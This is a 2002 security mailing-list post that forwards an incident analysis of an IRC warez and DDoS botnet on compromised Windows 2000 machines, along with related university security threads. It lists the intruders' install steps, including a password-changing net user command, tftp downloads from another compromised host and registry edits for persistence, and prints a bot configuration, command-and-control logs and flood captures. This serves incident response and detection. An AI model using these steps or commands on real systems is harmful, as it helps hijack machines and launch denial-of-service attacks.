[Snort-users] WIN2K IRC Trojan

F.M. Taylor root at ...28...
Fri Sep 6 14:06:04 EDT 2002


This is what I have found...



>From dittrich at ...466... Fri May 31 12:56:20 2002
Date: Fri, 3 May 2002 10:27:08 -0700 (PDT)
Subject: World-wide distributed DoS and "warez" bot networks (fwd)
From: Dave Dittrich <dittrich at ...466...>
To: Incidents Mailing List <INCIDENTS at ...35...>, unisog at ...695...

[Note: I just noticed last night, after giving a talk on this
incident, that several threads on the SANS Unisog list going back as
far as February 18, 2002 have discussed this same botnet in generality
and in some detail, so I can't claim to be the first to analyze this
botnet.  That credit goes to  Christopher E.  Cramer of Duke
University.  (That's what I get for letting myself get so far behind
on email, and for not studying all sources of information I had
available to me when we first started seeing problems.  Hopefully
someone on the unisog list will cross-post to incidents at ...35...
when a widespread incident like this pops up next time. ;)

The Unisog threads can be found here:

	http://staff.washington.edu/dittrich/misc/ddos/unisog-xdcc.txt

Since all this work was already done, I'll still post what I have
assembled with the assistance of Mike Hornung and Alexander Howard at
the UW, in hopes I'm adding something new in the way of tools and
techniques (see my CanSecWest talk slides referenced at bottom) that
will help speed up response the next time one of these massive botnets
is assembled using compromised computers.]


Summary
=======

Over the months of March through late April of 2002, the University of
Washington has seen multiple incidents of distributed "warez" (pirated
software) and denial of service (DDoS) attacks, coming from
Windows 2000 and NT systems.  These systems all have several things in
common:

	o They appeared to be found with no password on the
	  Administrator account, and control taken over.

	o They had various IRC bots installed on them, including
	  knight.exe, GTbot, and X-DCC (a distributed "warez"
	  serving bot.)

	o They had the ServUFTP daemon running on them for incoming
	  file transfer (to load the "warez".)

	o They had Firedaemon (a program that registers programs for
	  execution to serve incoming connections, similar to the Unix
	  "inetd" daemon.)

Details
=======

Forensic analysis of hard drive contents and IRC traffic has revealed
the methods and signatures of the malware installed on the compromised
systems.  To date we are not 100% sure of exactly how the initial
backdoor installation occurs, but it appears to involve remote shell
access (via telnetd).  Whatever it is, the next step is to transfer a
script onto the system and run it to bootstrap the rest of the
installation of backdoors, bots, FTP server, and other support
programs, the modification of directory/file permissions
and attributes to hide files, and changes to registry settings
to make programs run at each boot.  On some system, FTP is also used
to later transfer files onto the compromised system.

The script does the following:

o Creates a directory under the C:\RECYCLER directory, and marks
  it hidden and system directory.

o Kills any previously running instances of itself.

o Installs Firedeamon, and changes it (and other support programs)
  to be system/hidden.

o Uses tftp to download IRC bot configuration files from a temporary
  cache (on another compromised system)

o Does a "net user administrator changem" and deletes the
  ipc$ file share.

o Starts the Firedaemon and registers services named "Ms32dll",
  "SVHOST" and "MSVC5"

o Creates a file to set the following Registry settings, then
  runs "regedit" on this file:

	[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\]
		restrictanonymous"="1"
	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\]
		"NTLM"="2"

o Cleans up some files, and stops and deletes the following
  services: "tlntsvr" and "PSEXESVC"

o (Re)Starts the following services: "lmhosts" and "NtLmSsp"


 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
user_nick [XDCC]XXXX-649
slotsmax 20
loginname XXXXX
filedir C:\RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
uploaddir C:\RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
xdccfile c:\winnt\system32\vmn32\asp\mybot.xdcc
pidfile c:\winnt\system32\vmn32\asp\mybot.pid
server irc.XXXXXX.net 6667
server irc.XXXXXX.net 7000
server XXXX.XXXXX.net 6667
server XXXX.XXXXX.net 7000
server XXX.XXX.XX.XXX 6667
logrotate weekly
messagefile c:\winnt\system32\vmn32\asp\mybot.msg
ignorefile c:\winnt\system32\vmn32\asp\mybot.ignl
channel #XDCC -plist 15
user_realname XDCC
user_modes +i
virthost no
vhost_ip virtip.domain.com
firewall no
dccrangestart 4000
queuesize 20
slotsmaxpack 0
slotsmaxslots 5
slotsmaxqueue 10
maxtransfersperperson 1
maxqueueditemsperperson 1
restrictlist yes
restrictsend yes
overallminspeed 5.0
transfermaxspeed 0
overallmaxspeed 2000
overallmaxspeeddayspeed 0
overallmaxspeeddaytime 9 17
overallmaxspeeddaydays MTWRF
debug no
autosend no
autoword bleh
automsg bleh
autopack 1
xdccautosavetime 15
creditline ^2Brought to you by #XDCC^2
adminpass Xv8h8aXknm8J5z
adminhost *!*@*.XXXXXX.net
adminhost *!*@*.cia.gov
uploadallowed no
uploadmaxsize 900
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


A search of Google for the terms "+X-DCC +XDCC +bot" comes up with
several hits, including the following list of the top IRC networks.
The X-DCC/XDCC related channels (including channels found on many
of the compromised systems at the UW) were the majority of the top
channels on this site:

	http://62.27.120.133/networks/chanlist.shtml

The signature of these particular bots can be identified by the
string ":Total Offered:" (the amount of disc space used for "warez"
on the system, to be served by the bot):

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/04/18 08:30:18.768002 10.1.1.1:6667 -> 192.168.2.2:3852 [AP]
  :[f0]-XDCC230!~accute at ...6813... PRIVMSG #XXXXXXXXXX
  :.**. .Brought to you by #XXXXXXXXXXXXX. .**...:[f0]-XDCC230!~accute@
  foo-0000000.bar.asu.edu PRIVMSG #XXXXXXXXX :.**. .Brought to you by #X
  XXXXXXXXXXXX. .**...

T 2002/04/18 08:30:20.452092 217.199.39.139:7000 -> 128.208.113.130:1031
[AP]
  :[f0]-XDCC230!~accute at ...6813... PRIVMSG #XXXXXXXXXX
  :Total Offered: 1223.5 MB  Total Transferred: 419.19 MB..:[f0]-XDCC230
  !~accute at ...6813... PRIVMSG #XXXXXXXXX :Total Offered: 1
  223.5 MB  Total Transferred: 419.19 MB..:[f0]-XDCC230!~accute at ...6814...
  0000.bar.asu.edu PRIVMSG #XXXXXXXXX :Total Offered: 1223.5 MB  Tota
  l Transferred: 419.19 MB..
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Using this information, a capture of all IRC traffic across the border
of the network was performed and a script written ("findoffer") to
parse and summarize the totals.  Sampling IRC traffic to/from a set of
9 compromised systems (tcpdump filter "tcp port 6667 and tcp port
7000"), and using "findoffer", as many as 419 bots in 22 IRC channels,
serving a total of 556.18 GB (yes, over half a Terabyte!!! and that
is just from bots in some of the X-DCC channels, not all of them.)

[Note that IRC can be run over any port besides just 6667/tcp and
7000/tcp, so I expect that these bots will likely move off of public
servers to rogue servers on compromised systems, and to use
ports other than the standard 6666/tcp - 7000/tcp.]

In addition to file sharing, many (all?) of these systems were
at least capable, if not actually used for, distributed denial of
service (DDoS) attacks.  Dozens of attacks have been attributed to the
same group who installed these warez bots.  Here is one such use:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/03/27 02:28:31.434846 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
  :ns.example.net 404 KNIGHT77tdtR #doschan :Cannot send t
  o channel..:badd_kittycatN0yb!~moonglow at ...6815... PRIVM
  SG #doschan :[login accepted]..

T 2002/03/27 02:28:31.986647 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
  :ns.example.net 404 KNIGHT77tdtR #doschan :Cannot send t
  o channel..:badd_kittycatN0yb!~moonglow at ...6816... PRIVM
  SG #doschan :[packeting 192.168.32.94 at 64000kb/s 10000000 times]..
  :vodkidWT!~zoolander at ...6817... PRIVMSG #doschan :[packet
  ing 192.168.32.94 at 64000kb/s 10000000 times]..

  . . .

T 2002/03/27 05:25:31.491814 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
  :foobar!foo at ...6818... PRIVMSG #doschan :.run c:\w
  innt\system32\temp.exe..:XXXXXXXXXXZ2vco!~XXXXXX at ...6819...
  .Edu PRIVMSG #doschan :[running c:\winnt\system32\temp.exe]..

T 2002/03/27 05:25:31.493483 10.0.0.1:3164 -> 192.168.0.220:6667 [AP]
  PRIVMSG #doschan :[running c:\winnt\system32\temp.exe]..
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Two DDoS bots have been seen in use in conjunction with this activity:
"knight.exe" and "GTbot". ("knight.exe" is the Unix "knight.c" program,
compiled with the Cygwin development libraries.)  These programs
are described here:

	http://www.cert.org/archive/pdf/DoS_trends.pdf
	http://bots.lockdowncorp.com/gtbot.html

The UDP traffic (seen by "tcpdump") during a GTbot attack shows some
unusual packets:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1017207252.687968 192.168.32.126.1646 > 10.203.32.94.37046:  rad-#43 837
[id 32
] Attr[  Acct_out_octets{length 30 != 4} ARAP_zone_acces{length 46 != 4}
NAS_id{
 +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH} Acct_out_packets{length 41 !=
4} ARAP
_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154}|
radius} ARAP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B20
2B202B4154}|radius} ARAP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge
_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154}|radius} AR
AP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154
}|radius} [|radius]
. . .
1017207256.282173 192.168.32.126.1645 > 10.203.32.94.24413:  rad-#64 440
[id 64
] Attr[  Tunnel_type{length 62 != 4} Tunnel_type{length 62 != 4}
Tunnel_type{len
gth 62 != 4} Tunnel_type{length 62 != 4} Tunnel_type{length 62 != 4}
Tunnel_type
{length 62 != 4} [|radius]
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Seen by "ngrep", there is a strange kind of UDP flood:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
U 2002/03/26 21:34:16.284428 192.168.32.126:2892 -> 10.203.32.94:19192
  + + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
  H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
  ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
   +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
   + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH
  0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +A
  TH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
  +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
  + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
  + + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
  H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
  ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0

U 2002/03/26 21:34:16.284790 192.168.32.126:3099 -> 10.203.32.94:61749
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @@@@@@@@@@@@@@@@@@@@

U 2002/03/26 21:34:16.285599 192.168.32.126:2767 -> 10.203.32.94:44393
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)

U 2002/03/26 21:34:16.286329 192.168.32.126:4403 -> 10.203.32.94:56289
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
  ^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
  !@#%!^@)

U 2002/03/26 21:34:16.287070 192.168.32.126:4008 -> 10.203.32.94:39934
  + + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
  H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
  ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
   +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
   + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH
  0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +A
  TH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
  +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
  + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
  + + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
  H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
  ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Apparent IRC traffic confirms there is a DDoS bot on this system:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/03/26 21:36:43.468911 192.168.32.126:1135 -> 10.76.175.220:7666
[AP]
  PRIVMSG #doschan :.S.ending [.64,000.kb] of Data to (10.203.32.94).
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Seen by "tcpdump", one of the attack methods of this tool uses IP
protocol 255 (listed as "Reserved" by IANA).  These attacks use both
large packets (requiring fragmentation) and small packets.  [Note:
Network monitoring tools that only log TCP, UDP, and ICMP protocols
will not see this attack traffic at all.]

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Fri Mar 22 20:54:59 2002
1016859299.879744 192.168.0.1 > 10.209.12.152:  ip-proto-255 1480 (frag
37686:1480 at ...183...+)
1016859299.879745 192.168.0.1 > 10.209.12.152: (frag 37686:20 at ...6820...)
1016859299.881140 192.168.0.1 > 10.209.12.152:  ip-proto-255 1480 (frag
37687:1480 at ...183...+)
1016859299.881141 192.168.0.1 > 10.209.12.152: (frag 37687:20 at ...6820...)
1016859299.882465 192.168.0.1 > 10.209.12.152:  ip-proto-255 1480 (frag
37688:1480 at ...183...+)
1016859299.882465 192.168.0.1 > 10.209.12.152: (frag 37688:20 at ...6820...)
1016859299.883866 192.168.0.1 > 10.209.12.152:  ip-proto-255 1480 (frag
37689:1480 at ...183...+)


Sat Mar 23 13:13:25 2002
1016918005.627814 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.627905 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.627986 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.628120 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.628180 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.628282 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.628342 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
1016918005.628448 192.168.0.1 > 10.99.102.100:  ip-proto-255 52
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Seen with Foundstone's "FPort" program, the program showed the
following open port:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid   Process            Port  Proto Path
2     System         ->  80    TCP
187   inetinfo       ->  80    TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
2     System         ->  113   TCP
191   temp           ->  113   TCP   C:\WINNT\System32\temp.exe
94    RpcSs          ->  135   TCP   C:\WINNT\system32\RpcSs.exe
2     System         ->  135   TCP
2     System         ->  139   TCP
2     System         ->  443   TCP
187   inetinfo       ->  443   TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
191   temp           ->  1035  TCP   C:\WINNT\System32\temp.exe
187   inetinfo       ->  1036  TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
187   inetinfo       ->  1037  TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
187   inetinfo       ->  2962  TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
191   temp           ->  9000  TCP   C:\WINNT\System32\temp.exe
2     System         ->  135   UDP
2     System         ->  137   UDP
2     System         ->  138   UDP
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

More information on this botnet, and references to the tools used to
analyze it, were presented at CanSecWest Core02 in Vancouver, BC
on May 2.  The slides and references to the tools that were used can be
found at the following location:

	http://staff.washington.edu/dittrich/talks/core02/

An example report produced by "findoffer" can be found at:

	http://staff.washington.edu/dittrich/misc/ddos/xdcc-report.txt

This report has been anonymized, since some of the host are
voluntarily serving files (these networks are NOT exclusively
compromised hosts running bots.) Use this script ONLY to identify
hosts on your network, and make sure you follow all applicable privacy
laws and policies of your organization regarding logging of IRC
traffic.

--
Dave Dittrich                           Computing & Communications
dittrich at ...466...             University Computing Services
http://staff.washington.edu/dittrich    University of Washington

PGP key      http://staff.washington.edu/dittrich/pgpkey.txt
Fingerprint  FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com




>From chris.cramer at ...799... Thu May  2 23:42:01 2002
Date: Mon, 18 Feb 2002 18:11:34 -0500 (EST)
Subject: [unisog] hacked university machines
From: Christopher E. Cramer <chris.cramer at ...799...>
To: unisog at ...695...


I received information that there are some hacked university machines
being used to distribute movies, games, software, etc in an IRC channel
called #DiVX-DCC on the Undernet IRC network.  

I've poked at the Duke machines and they seem to have the IRC software 
installed in \winnt\system32\sysfiles

The common thread on the Duke machines appears to be that they all had no 
Administrator password set.

This is probably something that y'all should look into on your campuses.

Regards,
Chris

--
Christopher E. Cramer, Ph.D.
Information Technology Security Officer
Duke University,  Office of Information Technology
253A North Building, Box 90132, Durham, NC  27708-0291
PH: 919-660-7003  FAX: 919-660-7076  email: chris.cramer at ...799...



>From glratt at ...152... Thu May  2 23:42:01 2002
Date: Mon, 18 Feb 2002 17:50:57 -0600 (CST)
Subject: Re: [unisog] hacked university machines
From: Glenn Forbes Fleming Larratt <glratt at ...152...>
To: unisog at ...695...

On Mon, 18 Feb 2002, Christopher E. Cramer wrote:

> 
> I received information that there are some hacked university machines 
> being used to distribute movies, games, software, etc in an IRC channel 
> called #DiVX-DCC on the Undernet IRC network.

	Please clarify - is the IRC channel itself the medium of exchange,
	or is the IRC channel discussing some other medium (ftp sites,
	compromised webservers, alternate ports, ???)

> I've poked at the Duke machines and they seem to have the IRC software
> installed in \winnt\system32\sysfiles
>

-- 
Glenn Forbes Fleming Larratt         The Lab Ratt (not briggs :-)
glratt at ...152...                        http://www.io.com/~glratt  
There are imaginary bugs to chase in heaven.


>From chris.cramer at ...799... Thu May  2 23:42:01 2002
Date: Mon, 18 Feb 2002 21:10:05 -0500 (EST)
Subject: Re: [unisog] hacked university machines
From: Christopher E. Cramer <chris.cramer at ...799...>
To: Glenn Forbes Fleming Larratt <glratt at ...152...>
Cc: unisog at ...695...

> On Mon, 18 Feb 2002, Christopher E. Cramer wrote:
> 
> >
> > I received information that there are some hacked university machines 
> > being used to distribute movies, games, software, etc in an IRC
channel
> > called #DiVX-DCC on the Undernet IRC network.  
>
> 	Please clarify - is the IRC channel itself the medium of exchange,
> 	or is the IRC channel discussing some other medium (ftp sites,
> 	compromised webservers, alternate ports, ???)
>

Glenn,

Sorry, it's been a long weekend and Monday.  The IRC channel is the medium
using the DCC mechanism.  The hacked machines are running a script which
automatically logs them into the channel where they receive instructions
and can up/download files.  Users of the IRC channel issue commands to the
zombie machines in the form of:

/msg <zombie> xdcc list
/msg <zombie> xdcc send <file number>
etc.

The zombies periodically advertise their files for the channel
participants.

I have some reason to believe that other backdoors are installed on some
of the machines, so it may not be safe to simply try to clean up the boxes
w/o reinstalling the OS.

Let me know if you have any other questions.

Thanks
-Chris


>From Ken.Connelly at ...6821... Thu May  2 23:42:01 2002
Date: Tue, 19 Feb 2002 05:50:29 -0600
Subject: Re: [unisog] hacked university machines
From: Ken Connelly <Ken.Connelly at ...6821...>
To: unisog at ...695...

"Christopher E. Cramer" wrote:

> > On Mon, 18 Feb 2002, Christopher E. Cramer wrote:
> >
> > >
> > > I received information that there are some hacked university
machines
> > > being used to distribute movies, games, software, etc in an IRC
channel
> > > called #DiVX-DCC on the Undernet IRC network.
> >
> >       Please clarify - is the IRC channel itself the medium of
exchange,
> >       or is the IRC channel discussing some other medium (ftp sites,
> >       compromised webservers, alternate ports, ???)
> >
>
> Glenn,
>
> Sorry, it's been a long weekend and Monday.  The IRC channel is the
medium
> using the DCC mechanism.  The hacked machines are running a script which
> automatically logs them into the channel where they receive instructions
> and can up/download files.  Users of the IRC channel issue commands to
the
> zombie machines in the form of:
>
> /msg <zombie> xdcc list
> /msg <zombie> xdcc send <file number>
> etc.
>
> The zombies periodically advertise their files for the channel
> participants.
>
> I have some reason to believe that other backdoors are installed on some
> of the machines, so it may not be safe to simply try to clean up the
boxes
> w/o reinstalling the OS.
>
> Let me know if you have any other questions.
>
> Thanks
> -Chris

Interesting.  We currently have a student's ResNet machine in the
"timeout"
VLAN that was offering things just this way.  If he's cooperative, we may
have
a chance to see what has been done to his machine.

--
- Ken
===========================================================================
Ken Connelly (KC152) Systems and Operations Manager, ITS - Network
Services
University of Northern Iowa                     Cedar Falls, IA
50614-0121
email: Ken.Connelly at ...6821...    phone: (319) 273-5850
fax: (319) 273-7373




>From tal1 at ...6822... Thu May  2 23:42:01 2002
Date: Thu, 21 Mar 2002 15:38:45 -0500
Subject: [unisog] Coordinated Scan
From: Tracey Losco <tal1 at ...6822...>
To: unisog at ...695...

Good afternoon,

This morning between 7:55am and 8:55am, we were attacked on multiple 
subnets by multiple machines originating from various .edu sites.  We 
are in the process of contacting the various sites now to inform them 
of their compromised machines.

Has anyone else experienced anything similar to this, this morning? 
The ports that were being scanned were port 1025.  This could be just 
a typical coordinated scan by the same individual controlling 
compromised hosts on various networks, but I wanted to check here and 
see if this is more widespread, or if anyone else has seen this type 
of scanning today or recently.

Thanks in advance for any help that you can provide.

Regards,

-- 
--------------------------------------------------------------------
Tracey Losco
Network Security Analyst		security at ...6823...
ITS - Network Services			http://www.nyu.edu/its/security
New York University			(212) 998 - 3433

PGP Fingerprint: 8FFB FE47 6156 7BF0  B19E 462B 9DFE 51F5


>From morrow.long at ...6824... Thu May  2 23:42:01 2002
Date: Thu, 21 Mar 2002 16:53:49 -0500
Subject: Re: [unisog] Coordinated Scan
From: H. Morrow Long <morrow.long at ...6824...>
To: Tracey Losco <tal1 at ...6822...>
Cc: unisog at ...695...

We saw four wide scans of our IP address space yesterday
but it was almost all scans for vuln DTSPC (port 6112).

The four big scans were:

	A Swedish broadband ISP customer (scanning from	
	TCP port 13,000 to 13,000 - we've found hacked
	SSH servers running at port 13,000).

	A corporate mail server scanning us for DTSPC.

	A corporate web server scanning us for DTSPC.

	A .EDU resnet PC scanning us for DTSPC first and
	attempting telnet vulnerability attacks later.

Some were simultaneous and some were overlapping but I'm
not certain that they were coordinated.  Looks like a new
tool and or working exploit code was released to general
availability recently by the upsurge in activity - or a
new worm?

- Morrow

Tracey Losco wrote:
> 
> Good afternoon,
> 
> This morning between 7:55am and 8:55am, we were attacked on multiple
> subnets by multiple machines originating from various .edu sites.  We
> are in the process of contacting the various sites now to inform them
> of their compromised machines.
> 
> Has anyone else experienced anything similar to this, this morning?
> The ports that were being scanned were port 1025.  This could be just
> a typical coordinated scan by the same individual controlling
> compromised hosts on various networks, but I wanted to check here and
> see if this is more widespread, or if anyone else has seen this type
> of scanning today or recently.
> 
> Thanks in advance for any help that you can provide.
> 
> Regards,
> 
> --
> --------------------------------------------------------------------
> Tracey Losco
> Network Security Analyst                security at ...6823...
> ITS - Network Services                  http://www.nyu.edu/its/security
